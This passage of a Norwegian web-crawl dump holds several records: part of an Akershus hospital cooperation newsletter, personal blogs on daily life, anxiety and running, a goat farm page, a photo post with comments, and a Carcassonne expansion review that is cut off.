l\u00f8pet av november. Det vil gis tilbud til b\u00e5de kirurgiske og medisinske pasienter. I en overgangsperiode vil sengene i det vesentlige benyttes til avlastningspasienter, senere vil en \u00f8ke den ortopedisk virksomhet og sengene vil benyttes til disse pasientene. Det skal opprettes en egen Ortopedisk klinikk. Ny klinikksjef f\u00e5r ansvaret for \u00e5 utvikle det samlede ortopediske tilbudet ved Ahus. Klinikken vil f\u00e5 ansvaret for den stedlige ledelse ved Ski sykehus. Det er igangsatt arbeid for \u00e5 utrede akuttenhet med observasjonspost p\u00e5 Ski sykehus. Det p\u00e5g\u00e5r ogs\u00e5 arbeid for \u00e5 vurdere p\u00e5bygging og \u00e5pning av kommunal akutt d\u00f8gnenhet p\u00e5 Ski sykehus. Palliative senger, poliklinikk og kommunal legevakt p\u00e5 Ski sykehus videref\u00f8res. Vi opplever en sv\u00e6rt god rekruttering til stillinger p\u00e5 Ski sykehus. Ombygging av Nye Nord (Ahus hotell) - Ny geriatrisk avdeling Fra 1. september 2013 endres dagens drift av pasienthotellet ved Ahus. Driften som pasienthotell opph\u00f8rer, men vi beholder barselhotellet. Utenom arealer til barselhotellet benyttes resten av arealene i 1. og 2. etasje til ordin\u00e6r sykehusdrift. Det vil i 1. etg v\u00e6re noen fleksible rom som benyttes av Medisinsk divisjon og i 2. etasje noen fleksible rom som benyttes av Kirurgsk divisjon Ahus bygger om rom i 1. og 2. etasje i Nye Nord (NN) fra hotellstandard til \"fullverdige\" pasientrom. En viktig gevinst ved ombyggingen av rommene i NN er at sykehuset kan gi behandlingstilbud som ikke kan gis ved de rommene som har n\u00e5v\u00e6rende hotellstandard. Ombyggingen skjer i to etapper for \u00e5 ta hensyn til den driften som allerede er der. Den 5.november er f\u00f8rste fase av ombyggingen klar. Full effekt av ombyggingen vil derfor f\u00f8rst sees v\u00e5ren 2014 n\u00e5r ombyggingen er avsluttet I planene inng\u00e5r ogs\u00e5 en avdeling for geriatri og generell indremedisin med inntil 32 senger. Det er konstituert avdelingssjef for enheten, Bendik Hegna, og arbeidet med bemanning er godt i gang. Gjensidig Hospitering for ansatte innen psykisk helse og rusfeltet Ordningen har v\u00e6rt i drift siden v\u00e5ren 2010 og er et tiltak Akershus universitetssykehus og kommuner/bydeler i opptaksomr\u00e5det har utviklet sammen, f\u00f8rst og fremst for \u00e5 fremme samhandlingskunnskap. Tiltaket har et spesielt fokus p\u00e5 likeverdighet, som betyr at det skal g\u00e5 like mange hospitanter hver veg. Ordningen baserer seg p\u00e5 diverse hospiteringsprogram: fire p\u00e5 Ahus og ett i hver kommune/bydel. Hvert program varer i 5 arbeidsdager fordelt p\u00e5 to uker: mandag og tirsdag uke 1 og onsdag, torsdag og fredag uke 2. Hensikten er at hospitantene skal f\u00e5 m\u00f8te sentrale samarbeidspartnere og f\u00e5 innblikk i forvaltningsmessige forhold, rammebetingelser og aktivitets- og behandlingstilbud for den aktuelle pasient-/brukergruppen. Side 4 av 6\n\n\n\n5 Hospiteringsordningen er et tilbud til alle ansatte, ogs\u00e5 ledere og leger/psykologer og annet behandlingspersonell, ved enheter p\u00e5 sykehuset og kommuner/bydeler, som har inng\u00e5tt hospiteringsavtale. Kontakt lederen din for \u00e5 h\u00f8re om dette er aktuelt for deg \u00e5 s\u00f8ke p\u00e5. Hospiteringsperioder h\u00f8sten 2013 For ansatte i kommuner og bydeler: uke eller S\u00f8knadsfrist: 26. august 2013 For ansatte p\u00e5 Ahus: uke S\u00f8knadsfrist: 7. oktober 2013 For mer informasjon se hospiteringsordningens websider p\u00e5 Ahus.no eller ta kontakt med Bj\u00f8rn Hjalmar Nielsen, mobil: , e-post: Pleie- og omsorgsmeldinger (PLO) elektronisk Snart i m\u00e5l\\!\\! I forrige Samhandlingsnytt ble det meldt at vi var godt i gang med arbeidet med \u00e5 f\u00e5 PLO i drift i hele regionen. I henhold til de planene som foreligger, vil alle kommunene v\u00e6re opp p\u00e5 PLO elektronisk i l\u00f8pet av uke 40. De kommunene som gjenst\u00e5r er Enebakk, R\u00f8mskog samt alle kommunene p\u00e5 \u00d8vre Romerike. Vi ser frem til \u00e5 kunne avvikle papirrutiner og faks i kommunikasjonen mellom Ahus og kommuner /bydeler rundt pasienter som etter sykehusopphold er i behov av tjenester fra pleie- og omsorgstjenesten. Bruk av PLO-meldinger elektronisk, men ogs\u00e5 epikrise, gir oss nye utfordringer n\u00e5r det gjelder samarbeid i forhold til varsling av tekniske feil, nedetid, oppgraderinger o.l. V\u00e5ren 2013 utarbeidet en arbeidsgruppe retningslinjer knyttet til dette som skal gjelde for v\u00e5r region. Disse retningslinjene er hjemlet i delavtale for IKT-samarbeid, og er n\u00e5 signert av Ahus og alle kommunene. Det er viktig at alle gj\u00f8r seg kjent med retningslinjene og vedleggene, slik at vi sammen kan bidra til mest mulig driftsikker meldingsutveksling til pasientenes beste. Ahus ser frem til videre samarbeid vedr\u00f8rende elektronisk meldingsutveksling, og \u00f8nsker tett dialog med kommuner/bydeler om b\u00e5de PLO-meldinger og \u00f8vrige elektroniske meldinger som kan benyttes i samhandlingen. I den forbindelse vil vi gjenta \u00f8nsket om samarbeid for \u00e5 f\u00e5 testet elektronisk epikrise til helsestasjon. Dersom det er aktuelt, kan undertegnede kontaktes: Jeanette Wiger Maarud - Spesialkonsulent/IT-koordinator e-post: Telefon: Doktorgradsarbeid om akutteam i psykisk helsevern Psykolog og stipendiat Nina Hasselberg ved Akershus universitetssykehus, disputerte 13. juni over avhandlingen: The crisis resolution team model in Norway: Implementation, outcome of crisis and admissions (Begrenset implementering av ambulante akutteam i psykisk helsevern i Norge) En unders\u00f8kelse av innf\u00f8ringen av ambulante akutteam i psykisk helsevern viser rom for forbedringer, i f\u00f8lge doktorgradsavhandlingen. Illustrasjon: vorakorn, freedigitalphotos.net Inspirert av en engelsk modell for kriseteam har de fleste distriktspsykiatriske sentre i Norge opprettet ambulante akutteam. Slike tverrfaglige team skal gi korttids krisehjelp som alternativ til innleggelse ved akutte psykiske kriser. Side 5 av 6\n\n elektronisk Snart i m\u00e5l!\")\n\n, og i begrenset grad gir rask og intensiv hjelp.\")\n En samlet tjeneste - et fors\u00f8k p\u00e5 \u00e5 organisere og integrere tilbud innen rus-, voksen- og barne- og ungdomspsykiatri Litt historikk: - allklinikkene opprettet av Akershus fylkeskommune - operativ fra 01.01.98\n\n### Avtale mellom. kommune og Vestre Viken HF om henvisning, behandling og utskriving for pasienter med behov for somatiske helsetjenester\n\n", "language": "no", "__index_level_0__": "4e70bc33-dfd7-4db2-a6c8-4951410b7076"}
{"url": "http://blogg.japanphoto.no/tag/fotogaver/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:45:19Z", "text": "## Fem gode tips for kreative og personlige fotojulekort\n\n**9. December 2015\n\n**Silje\n\n**Inspirasjon\n\nPersonlige julekort med egne foto blir stadig mer popul\u00e6rt, og de er enkle b\u00e5de \u00e5 lage og bestille p\u00e5 nettet. Men hvordan kan du skille deg litt ut? Hvor kreativ kan du v\u00e6re med fotojulekortene? re:member gir deg fem gode tips til inspirasjon. For mange av oss er julekortet den eneste personlige hilsenen vi fortsatt sender i postkassen i l\u00f8pet av...\n\n", "language": "no", "__index_level_0__": "29bbe556-fa21-4d69-902f-f7ec7c7c1d49"}
{"url": "http://ajss.blogg.no/1296769562_hvor_blir_det_av_tide.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:38:32Z", "text": "# Miss AJ\n\nOnly a little bit insane, that\\`s all\\!\n\n## Hvor blir det av tiden?, og jeg har v\u00e6rt flink\\!\\!\n\nDet er noe jeg m\u00e5 sp\u00f8rre om hver eneste dag. For hvor blir dagene av?\n\nImorgen er det helg og en ny uke er gjennomf\u00f8rt.\n\nUka har v\u00e6rt litt sm\u00e5hektisk, men dog en fin uke. Men jeg har ingen aning p\u00e5 hvor tiden er blitt av.  \n  \nMen jeg har v\u00e6rt flink denne uka da, det m\u00e5 jeg virkelig f\u00e5 sagt. Kansje tatt meg litt vann over hodet, men det ordnet seg til slutt med noen ting.\n\n**Fredag-S\u00f8ndag**: Hjemme hos mamma og voffsen. Hatt det bra, men v\u00e6rt plaget med mareritt og tanker/f\u00f8lelser ang det.  \n  \n  \n  \nBare synd hun ser s\u00e5 pottesur ut.. Men hun kan \u00e5 kose seg\\!  \n  \n**Mandag:** Veninnebes\u00f8k. Husarb \u00e5 filmtitting.  \n  \n**Tirsdag:** Gruppedag. Kaffe og bytrasking med ei. Kjempe koselig veninnebes\u00f8k der vi laget lasagne \u00e5 koste oss\\!  \nSkulle egentlig treffe ei gammel bekjent eller hva jeg skal si, men det ble for mye for meg s\u00e5 m\u00e5tte pent trekke meg fra det. Men jeg har all grunn til \u00e5 v\u00e6re forn\u00f8yd med dagen alikevell\\!  \n  \n**Onsdag:** Reiste kl 09 for \u00e5 v\u00e6re med bestefar \u00e5 passe s\u00f8skenbarnet mitt p\u00e5 snart 3 \u00e5r. Stor gutt blitt\\!  \nVar der frem til kl 17. Men hadde det kjempe kos, lillegutt som ikke er s\u00e5 liten lenger vet \u00e5 f\u00e5 meg i godt hum\u00f8r\\! :)  \nKvelden ble brukt til rydding av alle skap og hyller p\u00e5 badet, oppvask, rydding i skuffer p\u00e5 soverom og bod.  \nHusarb med andre ord\\! Skrotten ble ivertfall rolig og tr\u00f8tt. Tok en stund f\u00f8r jeg fikk sove da\u00a0 jeg var noe urolig pga morgendagen.  \nJeg skulle egentlig ha samtale med behandler, men utsatte det til fredag pga barnepass. Hadde ogs\u00e5 planer om \u00e5 m\u00f8te min gamle behandler som var p\u00e5 bes\u00f8k i byen, men det glemte jeg helt bort.. Fortsatt d\u00e5rlig samvittighet..\\!\n\n**Torsdag:** Dagen begynte br\u00e5tt da jeg v\u00e5knet til mareritt. Idag skulle jeg treffe ei gammel veninne, s\u00e5 b\u00e5de jeg og kroppen har v\u00e6rt veldig urolig i forkant av m\u00f8tet. 1000 tanker og spm kvernet i hodet, og jeg var farlig n\u00e6r ved \u00e5 avlyse hele greia. Var altfor redd angsten ville \u00f8delegge alt. Redd for at m\u00f8tet ville g\u00e5 d\u00e5rlig, at jeg ville bli d\u00e5rlig. Redd for \u00e5 ikke oppn\u00e5 forventningene hennes og mine.  \nJeg m\u00e5tte g\u00e5 utallige mange runder med meg selv f\u00f8r jeg fant ut at jeg kan ivertfall pr\u00f8ve. N\u00e5r jeg tenker etter har jeg jo ingen ting \u00e5 tape p\u00e5 det. Eller?  \n  \nJeg kan gledelig si at det gikk bra, ivertfall ganske s\u00e5 bra. Klarte ikke \u00e5 v\u00e6re helt meg selv og slappe av, men jeg gjennomf\u00f8rte det selv om det ikke var s\u00e5 lett\\! I tillegg fikk jeg m\u00f8tt hennes veninne som var med, og det gikk ogs\u00e5 bra.  \nDet var s\u00e5 koseligt, \u00e5 ikke minst g\u00f8y \u00e5 v\u00e6re med dem, snakke om gamle dager og selvf\u00f8lgelig n\u00e5tid.  \n6 \u00bd timer var jeg ute idag.\n\nH\u00f8rte jeg noen si mestringsf\u00f8lelse? \u00c5ja\\!\\!  \n**Fy fader, jeg klarte \u00e5 gjennomf\u00f8re dagen\\!** :)\n\nI morgen er det samtale med behandler. Skulle egentlig ha m\u00f8te med nav-mannen, men han m\u00e5tte som vanlig utsette det.\n\nDet skal bli godt med helg n\u00e5. Min kropp og mitt sinn er ikke vant til s\u00e5 mye aktiviteter, \u00e5 det har v\u00e6rt mye denne uka. Kjempe koselig og morro er det jo at jeg har v\u00e6rt s\u00e5 mye sosial med folk, men det er bare s\u00e5 forbanna synd at jeg blir s\u00e5 sliten av det. J\u00e6vla irriterende er det faktisk\\!\\! \u00a0Det \u00f8delegger s\u00e5 innmari mye av gleden..\n\nMen det er jo s\u00e5nne ting jeg n\u00e5 trener p\u00e5 da, jobbe meg oppover\u00a0og \u00f8ve meg p\u00e5 \u00e5 gj\u00f8re aktiviteter som kan ta p\u00e5.\n\nMen men, jeg f\u00e5r bare ikke stresse. Imorgen er det en ny dag og nye muligheter\\!\n\nN\u00e5 skal en sliten meg ta kvelden med god samvittighet\\!\n\n\u00a0\n\n  - **Dato:**03.02.2011\n  - **Klokken:**22:46\n  - \\[ Hverdag \\]\n  - \nStikkord:\n\n#### airplains\n\n**Dato:** 03.02.2011 **Klokken:** 23:35\n\nGj\u00f8r det med ekstra god samvittighet. :)\n\n\n\n#### Miss AJ\n\n**Dato:** 04.02.2011 **Klokken:** 18:37\n\nairplains: Det skal jeg ogs\u00e5\\! :)\n\nMiss AJ\n\n\n\nGlade dager, tunge dager.Humor og glede, trist og vanskelig.Psyk med mye galgenhumor\\!Kjedelig.D\u00f8nn seri\u00f8st. Veldig useri\u00f8st.Her er det mye rart med andre ord :)PS:Dere kan gjerne gulpe opp idiotiske og usakelige kommentarer, men ikke forvent at jeg tar meg n\u00e6r av dem\\!  leser bloggen n\u00e5:)\n", "language": "no", "__index_level_0__": "429a9194-ac53-460e-9d30-d0222fb81adb"}
{"url": "http://marthemyhre.no/hverdagen-kaller/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00236.warc.gz", "warc_date": "2018-03-24T23:17:24Z", "text": "# Hverdagen kaller\n\nPublisert August 12, 2017 av Marthe Myhre\n\n\n\nSommeren g\u00e5r p\u00e5 hell, sj\u00f8l om jeg h\u00e5per at resten av august, september og aller helst oktober, blir t\u00f8rre, varme og solrike m\u00e5neder.\n\nHvor blir egentlig tida av? Jeg vet jeg tenker tanken omtrent hver eneste helg. Hva har jeg egentlig gjort denne uka? Hvor tok dagene av sted? Hva inneholdt de? Kan jeg bli flinkere til \u00e5 nyte mer av dagene og sette pris p\u00e5 her og n\u00e5? Definitivt JA, men er det lett? NEI\\!\\!\n\nSommeren har som vanlig rast av sted. Varierende v\u00e6r, men s\u00e5nn er sommeren i Norge. Litt av sjarmen? \u00d8nsker meg jo selvf\u00f8lgelig hetevarme og sol fra morgen til kveld, men Norge er flott uansett.\n\nHytta, Sverige og hjemme har v\u00e6rt v\u00e5re destinasjoner i \u00e5r. Med en samboer som er p\u00e5 farten mye av \u00e5ret er det ikke like lett \u00e5 friste med turer, hotell og lignende. Like greit, for jeg er veldig hjemmekj\u00e6r og jeg er utrolig forn\u00f8yd n\u00e5r jeg kan reise p\u00e5 hytta og ha dager med blanke ark totalt uten program og tidspunkt. Vi trenger det innimellom.\n\nN\u00e5 er det imidlertid slutt p\u00e5 slaraffenlivet og \"gj\u00f8re som jeg vil\" dager\u2026 Jobb, plikter, tidspunkt og alt det andre som h\u00f8rer med hverdagen kaller. Det var jo som jeg sa til en jeg kjenner her om dagen at b\u00e5de mandager og hverdagen generelt er veldig bra. Jeg liker at ting er strukturert.\n\nH\u00f8sten er h\u00f8ydepunktene hva gjelder l\u00f8p ogs\u00e5. Det g\u00e5r slag i slag for de som satser og likedan for meg. Personlige rekorder skal jaktes, smartnes i treninga skal struktureres og nettopp det \u00e5 kjempe for at hver eneste dag blir enda litt bedre.\n\nBEAT YESTERDAY\\!\n\n\n\nJeg er klar\\! Kjempe klar\\! Hva som venter kommer mer utover. Jeg lover \u00e5 oppdatere jevnlig b\u00e5de med \u00f8kter og konkurranser. Jeg har satt meg h\u00f8ye m\u00e5l og n\u00e5 er det p\u00e5 tide \u00e5 sette ting ut i livet, samt drite i hva som ikke fungerer. Fokus p\u00e5 meg sj\u00f8l\\! Fokus p\u00e5 mine m\u00e5l\\! Fokus b\u00e5de i hodet og hjerte\\! Rett og slett v\u00e6re t\u00f8ff nok, d\u00f8nn \u00e6rlig og gj\u00f8re de rette valgene \u2013 akk s\u00e5 enkelt, men akk s\u00e5 utrolig vanskelig av og til. Jeg har tatt l\u00e6rdom av en t\u00f8ff v\u00e5r, det tar tid \u00e5 endre d\u00e5rlige m\u00f8nster og rutiner som er innarbeidet over en d\u00e5rlig periode, men jeg er sterkere n\u00e5 til \u00e5 v\u00e6re den jeg \u00f8nsker.\n\nBLI DEN BESTE MEG\\! Klar, ferdig \u2013 kjemp hardt, hver dag\\! Jeg skal vise for meg sj\u00f8l at mine dr\u00f8mmer lever\\!\n\n", "language": "no", "__index_level_0__": "4afaee2b-9ef4-4e6e-b47c-a888af8cbedf"}
{"url": "http://roysobstad.blogspot.com/2012/02/serietreff-i-bergen-pa-torsdag.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:37:47Z", "text": "## tirsdag 14. februar 2012\n\n### Serietreff i Bergen p\u00e5 torsdag\n\n\n\n*Plakat av\u00a0Eirik Andreas Vik*\n\n  \nP\u00e5 torsdag g\u00e5r turen til Bergen. Der skal jeg sitte i Serietreff-panel sammen med B\u00f8rge Lund (*Lunch*),\u00a0Sigbj\u00f8rn Stabursvik (redakt\u00f8r hos Egmont), Eirik Andreas Vik (*Arild*) og Are Edvardsen (*\u00dczine*).\u00a0Mer info om arrangementet finnes hos\u00a0Serienett\u00a0og p\u00e5 en egen Facebook-side.  \n  \nJeg tar selvsagt med meg en bunke *Ulvene i korridoren*, og signerer gjerne hvis noen skulle \u00f8nske det.  \n  \nMinner ogs\u00e5 om at det blir sleppefest for\u00a0*Ulvene i korridoren* og *Forresten* 26 i Oslo p\u00e5 l\u00f8rdag. Det har jeg skrevet mer om her.  \n  \nH\u00e5per vi sees - om ikke her, s\u00e5 der.\n\n              \n\n## Fasiten for 2018\n\n\u00c5rets definitive spilleliste, oppdatert stadig vekk.\n\n*En bekymringsl\u00f8s ung mann har sin f\u00f8rste arbeidsdag i et stort firma. Han kan ingenting og han vet ingenting. Likevel er han aldri i tvil om at han fortjener all den fremgang han kan f\u00e5. Men kontorlandskapet skjuler m\u00f8rke hemmeligheter. Den unge mannens f\u00f8rste arbeidsdag kan fort vise seg \u00e5 bli hans siste.*  \n  \n## Tegneserier 1993-2008\n\n\\- VG  \n*\u00abGratulerer Jippi Forlag med en flott samling vanvidd med mening, og takk til Roy S\u00f8bstad for en dynamisk og underholdende verden i spenningsfeltet mellom kunst og kommers\\!\u00bb*  \n\\- NUMER\n", "language": "no", "__index_level_0__": "84cc85fe-7395-4dd6-b65c-8af5b84709c4"}
{"url": "http://vang-gaard.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:03:16Z", "text": "# Vang G\u00e5rd i Grunnfjord\n\nVang G\u00e5rd ligger i Grunnfjord ved 70\u00b0 Nord p\u00e5 Ringvass\u00f8ya i Karls\u00f8y kommune. Ringvass\u00f8ya er Norges 6 st\u00f8rste \u00f8y.\n\nGrunnfjord er ei lita bygd med r\u00f8tter helt tilbake til steinalderen.\n\nHoved g\u00e5rden \u02baGrunnfjord\u02ba var en stor viking g\u00e5rd som ogs\u00e5 var tingsted for regionen.\n\nGrunnfjord har milde vintrer og tidlig v\u00e5r. Sol 7 uker sammenhengende hver sommer og nordlyset hver vinter lokker mange turister hit.\n\nKyst klimaet og midnattsola er med p\u00e5 \u00e5 gj\u00f8re at Vang G\u00e5rd kan produsere melk og kj\u00f8tt av h\u00f8g kvalitet. Vi forer geitene med surf\u00f4r (rundballer) t\u00f8rrh\u00f8y og kraftfor. I tillegg gir vi masse br\u00f8d, frukt og gr\u00f8nnsaker.\n\nVi leverer kjekj\u00f8tt og spekekj\u00f8tt av geit\u00a0som kan brukes til b\u00e5de hverdag og fest det er bare \u00e5 ta kontakt.\n\nKje kj\u00f8tt er tilgjengelig fra juni til august s\u00e5 fremst vi ikke er utsolgt. Det er lurt \u00e5 bestille f\u00f8r juni.\n\nKjekj\u00f8tt leveres i en forbrukerpakke p\u00e5 10 kg. Kg pris 150 kr.\n\nSpekekj\u00f8tt av geit selges som \u02ba\u00c5sbakl\u00e5ret\u02ba. \u00c5sbakken er en plass i Grunnfjord der geitene bruker \u00e5 samle seg om ettermiddagen n\u00e5r de er ute om sommeren og man kan se de fra hovedveien n\u00e5r man kommer kj\u00f8rende inn i Grunnfjorden.\n\n\u02baFriluftsbogen\u02ba er en speket bog og er perfekt for \u00e5 ta med p\u00e5 tur da den er mindre en et l\u00e5r. \u02baTenk deg \u00e5 sitte p\u00e5 fjellet foran b\u00e5let og varme spekekj\u00f8tt p\u00e5 gl\u00f8rne.\u02ba\n\nVang sia er pinnekj\u00f8tt av geit fra Vang G\u00e5rd. Kan bestilles som hel side eller kuttet og pakket i 1 kg pakker.\n\nVang sia er et nydelig produkt som bare m\u00e5 pr\u00f8ves. \u02baFerdig kokt pinnekj\u00f8tt er perfekt til grilling.\u02ba\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \n\n\u00a9 2013 Vang g\u00e5rd\n", "language": "no", "__index_level_0__": "f458f9a7-486e-42db-a44f-a961f94fed51"}
{"url": "http://hilderk.blogspot.com/2011/12/dekorert-teboks.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:28:20Z", "text": "## mandag 5. desember 2011\n\n### Dekorert teboks\n\n\n\n  \n\n\n  \nHar g\u00e5tt en del teposer til tedispenserne jeg har laget, dermed har jeg mange tebokser liggende. Noen av disse har jeg dekorert. S\u00e5 kan de brukes til \u00e5 legge twist eller noe annet i, og bruke til gaver.\n\n23:44              \n\n\n\nHilde Kvalv\u00e5g  \n\n", "language": "no", "__index_level_0__": "21af375a-3ad2-418e-b82a-3af8c3731271"}
{"url": "http://carolinephoto.blogg.no/1342875153_photo_red_rose.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:37:28Z", "text": "# carolinephoto\n\n## PHOTO: Red rose\n\nTok bildet av en nydelig rose i rosendal idag\\!\n\n\n\nHva syns du?\n\n\n  \n kristiae\n\n21.07.2012 kl.14:57\n\nFint \\! :DD  \n  \n\\-Hadde v\u0160rt koselig med en kommentar tilbake :)\n\n lillefoto\n\n21.07.2012 kl.14:57\n\nfint:)\n\n Christine\n\n21.07.2012 kl.14:58\n\nFint\\!:)\n\n Heidi - f\u00b0lg meg p\u0148 vei mot min dr\u00b0m som MP\n\n21.07.2012 kl.15:04\n\ns\u0148 flink du er til \u0148 ta bilder\\! :)\n\n Stine\n\n21.07.2012 kl.15:07\n\ns\u0148 fint bilde\\!\n\n Silje Mari - Kommenterer alltid tilbake\\!\n\n21.07.2012 kl.15:07\n\nkjempefint\\!\n\n Rebekka - Foto & hverdag\n\n21.07.2012 kl.15:11\n\nNydelig\\!\n\n theadventuresofkevin\n\n21.07.2012 kl.15:12\n\nUtrolig fint bilde\\!\n\n Duyen Nguyen\n\n21.07.2012 kl.15:25\n\nfint:)\n\n j0hanne0\n\n21.07.2012 kl.15:34\n\n\u0148h, det var kjempe fint\\! elsket deltaljene :D\n\n IDA - trening & kosthold\n\n21.07.2012 kl.15:38\n\nS\u0148 rart, kommer ikke opp noe bilde hos meg..\n\n viljanorin\n\n21.07.2012 kl.15:42\n\nKjempefint\\!\\!\n\n Lotte Holtskog\n\n21.07.2012 kl.16:06\n\n Emma Extacy\n\n21.07.2012 kl.16:15\n\nNydelig bilde :-)\n\n Lian Henriksen\n\n21.07.2012 kl.16:20\n\nKjempefin :)\n\n carmenl\n\n21.07.2012 kl.16:27\n\nFint :)  \n  \nSjekk bloggen min,jeg har nettopp lagt ut nytt gratisdesign,og blar du litt ned,s\u0148 finner du bilde av det :)Har ogs\u0148 en konkurranse der du kan vinne helt eget,personlig design laget kun for DEG (du velge hvordan det skal se ut),enkelt\\!  \n  \n\\-Lykke til :D\n\n Elin Kristiansen\n\n21.07.2012 kl.16:33\n\nS\u0148 nydelig\\!\n\n mufash\n\n21.07.2012 kl.16:36\n\nKjempe fin\\!\n\n Lilli\n\n21.07.2012 kl.17:03\n\nKjempefint bilde :D\n\n Hanne Elisabeth\n\n22.07.2012 kl.12:22\n\nkjempe fint\\!:)\n\n", "language": "no", "__index_level_0__": "661fcd59-0533-44e3-b227-84e1f478b8cc"}
{"url": "http://jonspillerspill.no/carcassonne-tilleggspakke-1-inns-and-cathedrals/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:42:34Z", "text": "# Carcassonne tilleggspakke 1: Inns and Cathedrals\n\n**09/03/201608/03/2016 **Jon Songvoll\n\n\n\n> #### Carcassonne er et enkelt og meget velkjent spill. Dersom man \u00f8nsker \u00e5 begynne \u00e5 spille dette spillet er det greit \u00e5 vite at det finnes mange kule tillegspakker. Det vil si noen er virkelig bra og andre er egentlig kun gode for \u00e5 tilf\u00f8ye flere kartfliser.\n\n**Design / Utgivelse:**\n\nJeg mistenker sterkt at Klaus-J\u00fcrgen Wrede utviklet Carcassonne langt st\u00f8rre enn det man f\u00e5r i grunnspillet. Utgiveren har nok delt opp utgivelsen for \u00e5 tjene mer penger. Noe som jeg personlig synes er helt ok. Det er ganske g\u00f8y \u00e5 samle p\u00e5 spill og tilleggspakkene som kommer etter hvert. Man kan si det slik at hvis det kommer en tilleggspakke s\u00e5 har spillet gjort det bra p\u00e5 den \u00f8konomiske siden.\n\n\n\nCarcassonne Tilleggspakke 1: Inns and Cathedrals Foto: Jon Songvoll\n\n**Innhold i tilleggspakken:**\n\nMan f\u00e5r en ekstra farge s\u00e5 man kan spille med seks spillere. I spillereglene kaller de Meeples tilhengere. Kanskje en ok oversettelse av Meeples? Man f\u00e5r ogs\u00e5 6 store tilhengere samt 18 landbrikker og 6 poengmark\u00f8rer som hjelper deg \u00e5 holde styr p\u00e5 poengene. Ogs\u00e5 spilleregler selvf\u00f8lgelig. Alle nordiske spr\u00e5k er med. Av en eller annen grunn f\u00e5r man ogs\u00e5 12 landbrikker ekstra som er de samme brikkene som f\u00f8lger med som en tilleggspakke i grunnspillet. Man f\u00e5r alts\u00e5 mulighet til \u00e5 legge floden 2 ganger om man \u00f8nsker spesielle husregler med 2 floder. Man f\u00e5r ikke en biskop som f\u00f8lger med i grunnspillet. Det burde fikses p\u00e5\\!\n\n**Spillet:**\n\nDet tilf\u00f8res ganske mye i denne pakken. F\u00f8rst og fremst med tanke p\u00e5 hvordan poeng beregnes. Den store tilhengeren teller som to tilhengere ved poengberegning. Vertshus ved sj\u00f8en gir to poeng per brikke som er i den ferdige veien. Katedralene er de beste for de gir tre poeng for hver bybrikke i en ferdig by om man har lagt en inn i en by. De gr\u00e5 tilhengerne gir mulighet til \u00e5 spille med seks personer. Dersom man gj\u00f8r dette s\u00e5 er det greit \u00e5 vite at spilletiden g\u00e5r dramatisk opp. Greit for noen, andre st\u00f8nner av kjedsommelighet.\n\n**Komponentkvalitet:**\n\nSom vanlig er kvaliteten up\u00e5klagelig her er det ingen skavanker p\u00e5 trebrikkene eller oppflisete pappbrikker. Om man skal klage p\u00e5 noe m\u00e5 det v\u00e6re at det er en ganske sparsommelig mengde i esken. En hel del luft\n\n**Kunst og grafisk design:**\n\nBildene p\u00e5 flisene og den grafiske designen p\u00e5 brikkene er av n\u00f8yaktig samme kaliber som grunnspillet. Denne gangen er det Doris Matthaus som svinger penselen.\n\n**Tema**:\n\nDet er nok ikke helt tilfeldig at spillet har hentet sitt navn fra en meget kjent befestet middelalderby i\u00a0Frankrike. I spillet bygger man byer som har murer og setter ut landeveisr\u00f8vere som gir poeng. man har ogs\u00e5 en og annen bonde som faktisk s\u00f8rger for at man kan vinne. Kaster man inn biskoper, katedraler, vertshus og elver er det virkelig duket for mye moro med flate enger og befestede byer. det er likevel ikke dette som engasjerer. Spillet mangler en del rundt tema om historiefortelling.\n\n**Gjenspillingsverdi:**\n\nTilleggspakke 1 \u00f8ker gjenspillingsverdien i spillet ganske mye. Man f\u00e5r \u00f8kt spilletid i form av flere runder og man f\u00e5r st\u00f8rre variasjon i spillet p\u00e5 grunn av de ekstra flisene. Den ekstra spillerfargen gj\u00f8r at det blir mulig \u00e5 spillet med totalt seks spillere. Det er faktisk ganske g\u00f8y til p\u00e5ske om man er mange rundt 